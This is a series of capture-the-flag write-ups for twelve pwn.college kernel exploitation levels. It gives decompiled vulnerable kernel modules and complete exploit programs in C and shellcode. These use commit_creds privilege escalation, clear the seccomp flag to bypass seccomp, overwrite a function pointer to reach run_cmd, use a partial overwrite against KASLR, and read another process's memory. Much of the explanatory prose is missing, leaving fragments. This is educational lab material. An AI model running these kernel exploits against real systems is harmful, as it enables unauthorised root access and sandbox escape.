┌───────────────────────┐
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
└───────────────────────┘
Write-ups: System Security (Kernel Security) series
(Completed)
~ CuB3y0nd
>  Ring 0

# 

 12.1  kernel 2 
 19 ……

 kernel exploitation lab 
~~ star ~~

GitHub: https://github.com/CuB3y0nd/panix

 exp  
kernel  C  pwntools:

GitHub: https://github.com/CuB3y0nd/axium

# Level 1.0

## Information

- Category: Pwn

## Description

> Ease into kernel exploitation with this simple crackme level!

## Write-up

 LKM  `init_module` `cleanup_module`
`init_module`  `/flag`  buffer `proc_create`
  `/proc/pwncollege` `device_open``device_write``device_read`
`device_release` `device_write` 

```c
ssize_t __fastcall device_write(file *file, const char *buffer, size_t length, l
off_t *offset)
{
  size_t n16; // rdx
  char password[16]; // [rsp+0h] [rbp-28h] BYREF
  unsigned __int64 v8; // [rsp+10h] [rbp-18h]

  v8 = __readgsqword(0x28u);
  printk(&unk_810);
  n16 = 16;
  if ( length <= 0x10 )
    n16 = length;
  copy_from_user(password, buffer, n16);
  device_state[0] = (strncmp(password, "ucihjkpyaybhjjsf", 0x10u) == 0) + 1;
  return length;
}
```

 `ucihjkpyaybhjjsf``device_write`  `device_state[0]` 
 2 `device_read` 

```c
ssize_t __fastcall device_read(file *file, char *buffer, size_t length, loff_t *
offset)
{
  const char *flag; // rsi
  size_t length_1; // rdx
  unsigned __int64 v8; // kr08_8

  printk(&unk_850);
  flag = flag;
  if ( device_state[0] != 2 )
  {
    flag = "device error: unknown staten";
    if ( device_state[0] <= 2 )
    {
      flag = "password:n";
      if ( device_state[0] )
      {
        flag = "device error: unknown staten";
        if ( device_state[0] == 1 )
        {
          device_state[0] = 0;
          flag = "invalid passwordn";
        }
      }
    }
  }
  length_1 = length;
  v8 = strlen(flag) + 1;
  if ( v8 - 1 <= length )
    length_1 = v8 - 1;
  return v8 - 1 - copy_to_user(buffer, flag, length_1);
}
```

 `device_state[0] == 2`  flag  buffer 

 kernel
## Exploit

```c
#include <fcntl.h>
#include <string.h>
#include <unistd.h>

#define FLAG_LENGTH 0x100

char password[] = "ucihjkpyaybhjjsf";
char flag[FLAG_LENGTH];

int main(int argc, char *argv[]) {
  int fd = open("/proc/pwncollege", O_RDWR);

  write(fd, password, strlen(password));
  read(fd, flag, FLAG_LENGTH);
  write(STDOUT_FILENO, flag, FLAG_LENGTH);

  return 0;
}
```

# Level 2.0

## Information

- Category: Pwn

## Description

> Ease into kernel exploitation with another crackme level.

## Write-up



## Exploit

```c
#include <fcntl.h>
#include <string.h>
#include <unistd.h>

char password[] = "zcexibhdcclcottw";

int main(int argc, char *argv[]) {
  int fd = open("/proc/pwncollege", O_WRONLY);

  write(fd, password, strlen(password));

  return 0;
}
```

# Level 3.0

## Information

- Category: Pwn

## Description

> Ease into kernel exploitation with another crackme level, this time with some 
privilege escalation (whoami?).

## Write-up

 `cat /flag` 

## Exploit

```c
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char password[] = "tzrfzpifnzshksnp";

int main(int argc, char *argv[]) {
  int fd = open("/proc/pwncollege", O_WRONLY);

  printf("Current UID: %dn", getuid());
  write(fd, password, strlen(password));
  printf("Current UID: %dn", getuid());
  system("cat /flag");

  return 0;
}
```

# Level 4.0

## Information

- Category: Pwn

## Description

> Ease into kernel exploitation with another crackme level and learn how kernel 
devices communicate.

## Write-up

 `device_ioctl` `ioctl` 

```c
__int64 __fastcall device_ioctl(file *file, unsigned int cmd, unsigned __int64 a
rg)
{
  __int64 result; // rax
  int v5; // r8d
  char password[16]; // [rsp+0h] [rbp-28h] BYREF
  unsigned __int64 v7; // [rsp+10h] [rbp-18h]

  v7 = __readgsqword(0x28u);
  printk(&unk_328, file, cmd, arg);
  result = -1;
  if ( cmd == 1337 )
  {
    copy_from_user(password, arg, 16);
    v5 = strncmp(password, "qyikgpxrxvcinxbe", 0x10u);
    result = 0;
    if ( !v5 )
    {
      win();
      return 0;
    }
  }
  return result;
}
```

## Exploit

```c
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define REQUEST 1337

char password[] = "qyikgpxrxvcinxbe";

int main(int argc, char *argv[]) {
  int fd = open("/proc/pwncollege", O_WRONLY);

  printf("Current UID: %dn", getuid());
  ioctl(fd, REQUEST, password);
  printf("Current UID: %dn", getuid());
  system("cat /flag");

  return 0;
}
```

# Level 5.0

## Information

- Category: Pwn

## Description

> Utilize your hacker skillset to communicate with a kernel device and get the f
lag.

## Write-up

`device_ioctl`  `arg`  kASLR,  `lsmod` 
 module  `arg` 

```c
__int64 __fastcall device_ioctl(file *file, unsigned int cmd, unsigned __int64 a
rg)
{
  __int64 result; // rax

  printk(&unk_928, file, cmd, arg);
  result = -1;
  if ( cmd == 1337 )
  {
    ((void (*)(void))arg)();
    return 0;
  }
  return result;
}
```

```shellsession
~ # lsmod
challenge 16384 0 - Live 0xffffffffc0000000 (O)
```

## Exploit

```c
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define REQUEST 1337

int main(int argc, char *argv[]) {
  int fd = open("/proc/pwncollege", O_WRONLY);

  printf("Current UID: %dn", getuid());
  ioctl(fd, REQUEST, 0xffffffffc0000000 + 0x8BD);
  printf("Current UID: %dn", getuid());
  system("cat /flag");

  return 0;
}
```

# Level 6.0

## Information

- Category: Pwn

## Description

> Utilize a 'buggy' kernel device and shellcode to escalate privileges to root a
nd get the flag!

## Write-up

 shellcode

```c
ssize_t __fastcall device_write(file *file, const char *buffer, size_t length, l
off_t *offset)
{
  size_t n4096; // rdx
  __int64 v6; // rbp

  printk(&unk_698, file, buffer, length, offset);
  n4096 = 4096;
  if ( length <= 0x1000 )
    n4096 = length;
  v6 = copy_from_user(shellcode, buffer, n4096);
  ((void (*)(void))shellcode)();
  return length - v6;
}
```

```shellsession
~ # cat /proc/kallsyms | grep "prepare_kernel_cred|commit_creds"
ffffffff81089310 T commit_creds
ffffffff81089660 T prepare_kernel_cred
```

 `call` 

## Exploit

```c
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
  int fd = open("/proc/pwncollege", O_WRONLY);

  unsigned char sc[] =
      "x48x31xff"                 // xor rdi, rdi
      "x48xc7xc0x60x96x08x81" // mov rax, 0xffffffff81089660
      "xffxd0"                     // call rax (prepare_kernel_cred)
      "x48x89xc7"                 // mov rdi, rax
      "x48xc7xc0x10x93x08x81" // mov rax, 0xffffffff81089310
      "xffxd0"                     // call rax (commit_creds)
      "xc3";                        // ret

  write(fd, sc, sizeof(sc));
  system("cat /flag");

  return 0;
}
```

使 axium 

```c
#include <axium/axium.h>

int main(void) {
  int fd = open("/proc/pwncollege", O_WRONLY);

  payload_t escalate;
  payload_init(&escalate);
  ksc_escalate(&escalate, 0xffffffff81089660, 0xffffffff81089310);

  write(fd, escalate.data, escalate.size);
  system("cat /flag");

  payload_fini(&escalate);

  return 0;
}
```

# Level 7.0

## Information

- Category: Pwn

## Description

> Utilize a 'buggy' kernel device and shellcode to escalate privileges to root a
nd get the flag!

## Write-up

 `ioctl` layout  shellcode 

 `copy_from_user`  `arg`  shellcode  `shellcode_le
ngth`  `arg + 0x1008`  `shellcode_execute_addr` 
 `arg + 8`  shellcode  `shellcode`  `she
llcode_execute_addr[0]` `arg`  shellcode `arg + 0x1008` 
 shellcode `arg + 8`  0x1000  shellcode 

```c
__int64 __fastcall device_ioctl(file *file, unsigned int cmd, unsigned __int64 a
rg)
{
  __int64 result; // rax
  size_t shellcode_length; // [rsp+0h] [rbp-28h] BYREF
  void (*shellcode_execute_addr[4])(void); // [rsp+8h] [rbp-20h] BYREF

  shellcode_execute_addr[1] = (void (*)(void))__readgsqword(0x28u);
  printk(&unk_11A0, file, cmd, arg);
  result = -1;
  if ( cmd == 1337 )
  {
    copy_from_user(&shellcode_length, arg, 8);
    copy_from_user((size_t *)shellcode_execute_addr, arg + 4104, 8);
    result = -2;
    if ( shellcode_length <= 0x1000 )
    {
      copy_from_user(shellcode, arg + 8, shellcode_length);
      shellcode_execute_addr[0]();
      return 0;
    }
  }
  return result;
}
```

## Exploit

```c
#include <assert.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define PACKED __attribute__((packed))
#define NAKED __attribute__((naked))

#define DEVICE_PATH "/proc/pwncollege"
#define REQUEST 1337

typedef struct {
  uint64_t sc_size;
  uint8_t sc[0x1000];
  uint64_t sc_addr;
} PACKED payload_t;

NAKED void escalate(void) {
  __asm__ volatile(".intel_syntax noprefix;"
                   ".global escalate_start;"
                   ".global escalate_end;"
                   "escalate_start:;"
                   "xor rdi, rdi;"
                   "mov rax, 0xffffffff81089660;" // prepare_kernel_cred
                   "call rax;"
                   "mov rdi, rax;"
                   "mov rax, 0xffffffff81089310;" // commit_creds
                   "call rax;"
                   "ret;"
                   "escalate_end:;"
                   ".att_syntax;");
}

extern char escalate_start[];
extern char escalate_end[];

static inline size_t get_escalate_size(void) {
  return escalate_end - escalate_start;
}

static inline void construct_payload(payload_t *p, uint64_t exec_addr) {
  size_t size = get_escalate_size();

  p->sc_size = size;
  memcpy(p->sc, escalate_start, size);
  p->sc_addr = exec_addr;
}

int main(void) {
  int fd = open(DEVICE_PATH, O_WRONLY);
  assert(fd > 0);

  payload_t payload = {0};
  size_t escalate_size = escalate_end - escalate_start;

  construct_payload(&payload, 0xffffc90000085000ULL);

  assert(ioctl(fd, REQUEST, &payload) >= 0);
  close(fd);
  system("cat /flag");

  return 0;
}
```

# Level 8.0

## Information

- Category: Pwn

## Description

> Utilize a userspace binary to interact with a kernel device.

## Write-up

 challenge  module


 module  shellcode  buf 

```c del={10-11}
ssize_t __fastcall device_write(file *file, const char *buffer, size_t length, l
off_t *offset)
{
  size_t n4096; // rdx
  __int64 v6; // rbp

  printk(&unk_968, file, buffer, length, offset);
  n4096 = 4096;
  if ( length <= 0x1000 )
    n4096 = length;
  v6 = copy_from_user(shellcode, buffer, n4096);
  ((void (*)(void))shellcode)();
  return length - v6;
}
```



```c del={23, 43}
int __fastcall main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+24h] [rbp-1Ch]
  int v5; // [rsp+28h] [rbp-18h]
  int v6; // [rsp+2Ch] [rbp-14h]
  __int64 v7; // [rsp+38h] [rbp-8h]

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  puts("###");
  printf("### Welcome to %s!n", *argv);
  puts("###");
  putchar(10);
  puts("You may upload custom shellcode to do whatever you want.n");
  puts("For extra security, this challenge will only allow certain system calls!
n");
  v5 = open("/proc/pwncollege", 2);
  printf("Opened `/proc/pwncollege` on fd %d.n", v5);
  puts(&s_);
  if ( mmap((void *)0x31337000, 0x1000u, 7, 34, 0, 0) != (void *)825454592 )
    __assert_fail("shellcode == (void *)0x31337000", "<stdin>", 0x63u, "main");
  printf("Mapped 0x1000 bytes for shellcode at %p!n", (const void *)0x31337000);
  puts("Reading 0x1000 bytes of shellcode from stdin.n");
  v6 = read(0, (void *)0x31337000, 0x1000u);
  puts("This challenge is about to execute the following shellcode:n");
  print_disassembly(825454592, v6);
  puts(&s_);
  puts("Restricting system calls (default: allow).n");
  v7 = seccomp_init(2147418112);
  for ( i = 0; i <= 511; ++i )
  {
    if ( i == 1 )
    {
      printf("Allowing syscall: %s (number %i).n", "write", 1);
    }
    else if ( (unsigned int)seccomp_rule_add(v7, 0, (unsigned int)i, 0) )
    {
      __assert_fail("seccomp_rule_add(ctx, SCMP_ACT_KILL, i, 0) == 0", "<stdin>"
, 0x79u, "main");
    }
  }
  puts("Executing shellcode!n");
  if ( (unsigned int)seccomp_load(v7) )
    __assert_fail("seccomp_load(ctx) == 0", "<stdin>", 0x7Eu, "main");
  MEMORY[0x31337000]();
  puts("### Goodbye!");
  return 0;
}
```

 module  mmap  rwx
  stdin  mmap  seccomp  
`write`  mmap 

 shellcode 
 `write` seccomp 


 seccomp 

 [task_struct](https://elixir.bootlin.com/linux/
v5.4/source/include/linux/sched.h#L624)  [thread_inf
o](https://elixir.bootlin.com/linux/v5.4/source/arch/x86/include/asm/thread_info
.h#L56)  thread 

```c
struct thread_info {
  unsigned long  flags;   /* low level flags */
  u32            status;  /* thread synchronous flags */
};
```

`thread_info`  flags  flags `TIF_SECCOMP` 
西

```c ins={9}
#define TIF_SYSCALL_TRACE 0 /* syscall trace active */
#define TIF_NOTIFY_RESUME 1 /* callback before returning to user */
#define TIF_SIGPENDING  2 /* signal pending */
#define TIF_NEED_RESCHED 3 /* rescheduling necessary */
#define TIF_SINGLESTEP  4 /* reenable singlestep on user return*/
#define TIF_SSBD  5 /* Speculative store bypass disable */
#define TIF_SYSCALL_EMU  6 /* syscall emulation active */
#define TIF_SYSCALL_AUDIT 7 /* syscall auditing active */
#define TIF_SECCOMP  8 /* secure computing */
#define TIF_SPEC_IB  9 /* Indirect branch speculation mitigation */
#define TIF_SPEC_FORCE_UPDATE 10 /* Force speculation MSR update in context swit
ch */
#define TIF_USER_RETURN_NOTIFY 11 /* notify kernel of userspace return */
#define TIF_UPROBE  12 /* breakpointed or singlestepping */
#define TIF_PATCH_PENDING 13 /* pending live patching update */
#define TIF_NEED_FPU_LOAD 14 /* load FPU on return to userspace */
#define TIF_NOCPUID  15 /* CPUID is not accessible in userland */
#define TIF_NOTSC  16 /* TSC is not accessible in userland */
#define TIF_IA32  17 /* IA32 compatibility process */
#define TIF_NOHZ  19 /* in adaptive nohz mode */
#define TIF_MEMDIE  20 /* is terminating due to OOM killer */
#define TIF_POLLING_NRFLAG 21 /* idle is polling for TIF_NEED_RESCHED */
#define TIF_IO_BITMAP  22 /* uses I/O bitmap */
#define TIF_FORCED_TF  24 /* true if TF in eflags artificially */
#define TIF_BLOCKSTEP  25 /* set when we want DEBUGCTLMSR_BTF */
#define TIF_LAZY_MMU_UPDATES 27 /* task is updating the mmu lazily */
#define TIF_SYSCALL_TRACEPOINT 28 /* syscall tracepoint instrumentation */
#define TIF_ADDR32  29 /* 32-bit address space on 64 bits */
#define TIF_X32   30 /* 32-bit native x86-64 binary */
#define TIF_FSCHECK  31 /* Check FS is USER_DS on return */
```

[](https://elixir.bootlin.com/linux/v5.4/source/include/li
nux/seccomp.h#L38)

```c {5-6}
#ifdef CONFIG_HAVE_ARCH_SECCOMP_FILTER
extern int __secure_computing(const struct seccomp_data *sd);
static inline int secure_computing(const struct seccomp_data *sd)
{
  if (unlikely(test_thread_flag(TIF_SECCOMP)))
    return  __secure_computing(sd);
  return 0;
}
#else
extern void secure_computing_strict(int this_syscall);
#endif
```

 `TIF_SECCOMP`  [__secure_computing](https://elixir.
bootlin.com/linux/v5.4/source/kernel/seccomp.c#L920) 


 `current_task_struct->thread_info.flags &= ~(1 << TIF_SECCOMP)`
  flag  seccomp

`current_task_struct`  `per-cpu`  `gs_base` 
 `p &current_task`  `per-cpu` 


```shellsession
pwndbg> p &current_task
$1 = (struct task_struct **) 0x15d00 <current_task>
pwndbg> ptype /o struct task_struct
/* offset      |    size */  type = struct task_struct {
/*      0      |      16 */    struct thread_info {
/*      0      |       8 */        unsigned long flags;
/*      8      |       4 */        u32 status;
/* XXX  4-byte padding   */
[...]
pwndbg> ptype /o struct thread_info
/* offset      |    size */  type = struct thread_info {
/*      0      |       8 */    unsigned long flags;
/*      8      |       4 */    u32 status;
/* XXX  4-byte padding   */

                               /* total size (bytes):   16 */
                             }
```

## Exploit

```c
#include <unistd.h>

#define PACKED __attribute__((packed))
#define NAKED __attribute__((naked))

#define STR(x) #x
#define XSTR(x) STR(x)

#define TIF_SECCOMP 8

NAKED void shellcode(void) {
  __asm__ volatile(
      ".intel_syntax noprefix;"
      ".global sc_start;"
      ".global sc_end;"
      "sc_start:;"
      "mov rdi, 0x3;"
      "lea rsi, [rip + break_seccomp_start];"
      "mov rdx, break_seccomp_end - break_seccomp_start;"
      "mov rax, 0x1;"
      "syscall;" // write(0x3, break_seccomp_start, sizeof(break_seccomp))
      "lea rdi, [rip + flag];"
      "xor rsi, rsi;"
      "mov rax, 0x2;"
      "syscall;" // open("/flag", 0)
      "mov rdi, 0x1;"
      "mov rsi, rax;"
      "xor rdx, rdx;"
      "mov r10, 0x1337;"
      "mov rax, 0x28;"
      "syscall;" // sendfile(0x1, flag_fd, 0, 0x1337)
      "break_seccomp_start:;"
      "mov rax, QWORD PTR gs:0x15d00;"
      "and QWORD PTR [rax], ~(1 << " XSTR(TIF_SECCOMP) ");"
      "ret;"
      "break_seccomp_end:;"
      "flag: .ascii "/flag";"
      "sc_end:;"
      ".att_syntax;");
}

extern char sc_start[];
extern char sc_end[];

int main(void) {
  size_t sc_size = sc_end - sc_start;

  write(STDOUT_FILENO, sc_start, sc_size);

  return 0;
}
```

# Level 9.0

## Information

- Category: Pwn

## Description

> Exploit a buggy kernel device to get the flag!

## Write-up

```c
ssize_t __fastcall device_write(file *file, const char *buffer, size_t length, l
off_t *offset)
{
  __int64 n66; // rcx
  $03BF2B29B6BBB97215B935736F34BBB0 *p_logger; // rdi
  __int64 v7; // rbp
  $03BF2B29B6BBB97215B935736F34BBB0 logger; // [rsp+0h] [rbp-120h] BYREF
  unsigned __int64 v10; // [rsp+108h] [rbp-18h]

  n66 = 66;
  v10 = __readgsqword(0x28u);
  p_logger = &logger;
  while ( n66 )
  {
    *(_DWORD *)p_logger->buffer = 0;
    p_logger = ($03BF2B29B6BBB97215B935736F34BBB0 *)((char *)p_logger + 4);
    --n66;
  }
  printk(&unk_C70);
  logger.log_function = (int (*)(const char *, ...))&printk;
  if ( length > 0x108 )
  {
    _warn_printk("Buffer overflow detected (%d < %lu)!n", 264, length);
    BUG();
  }
  v7 = copy_from_user(&logger, buffer, length);
  logger.log_function((const char *)&logger);
  return length - v7;
}
```

```c
00000000 struct $03BF2B29B6BBB97215B935736F34BBB0 // sizeof=0x108
00000000 {                                       // XREF: device_write/r
00000000     char buffer[256];
00000100     int (*log_function)(const char *, ...); // XREF: device_write+4A/w
00000100                                         // device_write:loc_BE1/r
00000108 };
```


 256  buffer 
 `buffer`  rdi

 [run_cmd](https://elixir.bootlin.com/linux/v5.4/source/kernel/reboo
t.c#L422)  kernel ABI 

```c
static int run_cmd(const char *cmd)
{
  char **argv;
  static char *envp[] = {
    "HOME=/",
    "PATH=/sbin:/bin:/usr/sbin:/usr/bin",
    NULL
  };
  int ret;
  argv = argv_split(GFP_KERNEL, cmd, NULL);
  if (argv) {
    ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
    argv_free(argv);
  } else {
    ret = -ENOMEM;
  }

  return ret;
}
```

 `run_cmd` 使
 tty, stdin / stdout / stderr  I/O

## Exploit

```c
#include <assert.h>
#include <fcntl.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>

#define PACKED __attribute__((packed))
#define NAKED __attribute__((naked))

#define STR(x) #x
#define XSTR(x) STR(x)

#define DEVICE "/proc/pwncollege"

typedef struct {
  char buf[256];
  uint64_t func;
} PACKED payload_t;

int main(void) {
  int fd = open(DEVICE, O_WRONLY);
  assert(fd > 0);

  payload_t payload = {0};
  char *cmd = "/run/dojo/bin/chown 1000:1000 /flag";

  memcpy(payload.buf, cmd, strlen(cmd));
  payload.func = 0xffffffff81089b30ULL;

  write(fd, &payload, sizeof(payload_t));

  return 0;
}
```

# Level 10.0

## Information

- Category: Pwn

## Description

> Exploit a buggy kernel device with KASLR enabled to get the flag!

## Write-up

 kASLR on  `printk` 


## Exploit

```c
#include <assert.h>
#include <fcntl.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>

#define PACKED __attribute__((packed))
#define NAKED __attribute__((naked))

#define STR(x) #x
#define XSTR(x) STR(x)

#define DEVICE "/proc/pwncollege"

typedef struct {
  char buf[256];
  char func[3];
} PACKED payload_t;

int main(void) {
  int fd = open(DEVICE, O_WRONLY);
  assert(fd > 0);

  payload_t payload = {0};
  char *cmd = "/run/dojo/bin/chown 1000:1000 /flag";

  memcpy(payload.buf, cmd, strlen(cmd));

  // ffffffffb2889b30 t run_cmd
  // ffffffffb28b69a9 T printk
  payload.func[0] = 0x30;
  payload.func[1] = 0x9b;
  payload.func[2] = 0x48;

  write(fd, &payload, sizeof(payload_t));

  return 0;
}
```

# Level 11.0

## Information

- Category: Pwn

## Description

> Exploit a kernel device utilizing a userspace binary, with a twist!

## Write-up

`load_flag`  flag  fork  main  `unli
nk("/flag");`  `/flag`  fork 退
 flag.

```c
int load_flag()
{
  int fd; // [rsp+4h] [rbp-Ch]
  sem_t *sem; // [rsp+8h] [rbp-8h]

  puts("Attempting to load the flag into memory.n");
  sem = (sem_t *)mmap(0, 0x1000u, 3, 33, 0, 0);
  sem_init(sem, 1, 0);
  if ( !fork() )
  {
    fd = open("/flag", 0);
    if ( fd < 0 )
      exit(1);
    read(fd, &flag_23583, 0x100u);
    close(fd);
    sem_post(sem);
    while ( 1 )
      sleep(1u);
  }
  return sem_wait(sem);
}
```

 [axium](https://github.com/CuB3y0nd/axium)  pwn
college  kernel ex
ploitation  pwntools xD

GitHub: https://github.com/CuB3y0nd/axium

 axium 
## Exploit

```c
#include "axium/log.h"
#include "axium/tubes/process.h"
#include "axium/tubes/tube.h"
#include "axium/utils/payload.h"
#include "axium/utils/proc.h"
#include <stdio.h>
#include <string.h>

#define PACKED __attribute__((packed))
#define NAKED __attribute__((naked))

#define STR(x) #x
#define XSTR(x) STR(x)

#define TIF_SECCOMP 8

NAKED void shellcode(void) {
  __asm__ volatile(
      ".intel_syntax noprefix;"
      ".global sc_start;"
      ".global sc_end;"
      "sc_start:;"
      "mov rdi, 0x3;"
      "lea rsi, [rip + break_seccomp_start];"
      "mov rdx, break_seccomp_end - break_seccomp_start;"
      "mov rax, 0x1;"
      "syscall;" // write(0x3, break_seccomp_start, sizeof(break_seccomp))
      "lea rdi, [rip + path];"
      "xor rsi, rsi;"
      "mov rax, 0x2;"
      "syscall;" // open("/proc/pid/mem", 0x0)
      "mov rdi, 0x1;"
      "mov rsi, rax;"
      "push 0x404040;"
      "mov rdx, rsp;"
      "mov r10, 0x1337;"
      "mov rax, 0x28;"
      "syscall;" // sendfile(0x1, fd, 0x404040, 0x1337)
      "break_seccomp_start:;"
      "mov rax, QWORD PTR gs:0x15d00;"
      "and QWORD PTR [rax], ~(1 << " XSTR(
          TIF_SECCOMP) ");"
                       "ret;"
                       "break_seccomp_end:;"
                       "path: .ascii "/proc/XXXXXXXXXX/mem";"
                       "sc_end:;"
                       ".att_syntax;");
}

extern char sc_start[];
extern char sc_end[];

int main(void) {
  char *const challenge_argv[] = {"/challenge/babykernel_level11.0", NULL};
  tube *t = process_ext(challenge_argv, NULL, TUBE_STDIN);
  pid_t child_pid = t_pid(t) + 1;

  if (!wait_for_pid(child_pid, 1000)) {
    log_exception("spawn child process");
    return -1;
  }

  size_t sc_size = sc_end - sc_start;
  uint8_t sc[sc_size];
  memcpy(sc, sc_start, sc_size);

  const char *marker = "/proc/XXXXXXXXXX/mem";
  char real_path[32];
  snprintf(real_path, sizeof(real_path), "/proc/%d/mem", child_pid);

  patch(sc, sc_size, marker, strlen(marker), real_path, strlen(real_path));
  sendline(t, sc, sc_size);

  return 0;
}
```

# Level 12.0

## Information

- Category: Pwn

## Description

> Exploit a kernel device utilizing a userspace binary, with a twist!

## Write-up

fork  flag 退
 `/proc/pid/mem` 访


使
 flag
 flag 

```c
__pid_t load_flag()
{
  int fd; // [rsp+Ch] [rbp-4h]

  puts("Attempting to load the flag into memory.n");
  if ( !fork() )
  {
    fd = open("/flag", 0);
    if ( fd < 0 )
      exit(1);
    read(fd, &flag_23549, 0x100u);
    close(fd);
    exit(0);
  }
  return wait(0);
}
```
## Exploit

```c
#include <axium/axium.h>

#define PAGE_OFFSET 0xffff888000000000
#define PRINTK_ADDR 0xffffffff810b69a9

/* clang-format off */
DEFINE_SHELLCODE(sc_write) {
  SHELLCODE_START(sc_write);
  __asm__ volatile(
    "mov edi, 0x3n"
    "lea rsi, [rip + " XSTR(SC_M(uint32_t, 1)) "]n"
    "mov edx, " XSTR(SC_M(uint32_t, 2)) "n"
    "mov eax, 0x1n"
    "syscalln" // write(0x3, side_channel_start, sizeof(side_channel))
  );
  SHELLCODE_END(sc_write);
}

DEFINE_SHELLCODE(sc_side_channel) {
  SHELLCODE_START(sc_side_channel);
  __asm__ volatile(
      "mov rdi, " XSTR(PAGE_OFFSET) "n"
      "mov rbx, [rip + mark]n"
      "loop:n"
      "  cmp rbx, [rdi]n"
      "  je printn"
      "  inc rdin"
      "  jmp loopn"
      "print:n"
      "  push rdin"
      "  mov rax, " XSTR(PRINTK_ADDR) "n"
      "  call raxn"
      "  pop rdin"
      "  inc rdin"
      "  jmp loopn"
      "mark:n"
      "  .ascii "college{"n"
  );
  SHELLCODE_END(sc_side_channel);
}
/* clang-format on */

int main(void) {
  set_log_level(DEBUG);
  char *const challenge_argv[] = {"/challenge/babykernel_level12.0", NULL};
  tube *t = process_ext(challenge_argv, NULL, TUBE_STDIN);

  payload_t sc_side_channel;
  payload_init(&sc_side_channel);
  PAYLOAD_PUSH_SC(&sc_side_channel, sc_side_channel);

  payload_t sc_write;
  payload_init(&sc_write);
  PAYLOAD_PUSH_SC(&sc_write, sc_write);
  sc_fix_rel(&sc_write, 1, (uint32_t)sc_write.size);
  sc_fix(&sc_write, 2, (uint32_t)sc_side_channel.size);

  payload_t payload;
  payload_init(&payload);
  payload_push(&payload, sc_write.data, sc_write.size);
  payload_push(&payload, sc_side_channel.data, sc_side_channel.size);

  sendline(t, payload.data, payload.size);

  payload_fini(&sc_side_channel);
  payload_fini(&sc_write);
  payload_fini(&payload);
  t_close(t);

  return 0;
}
```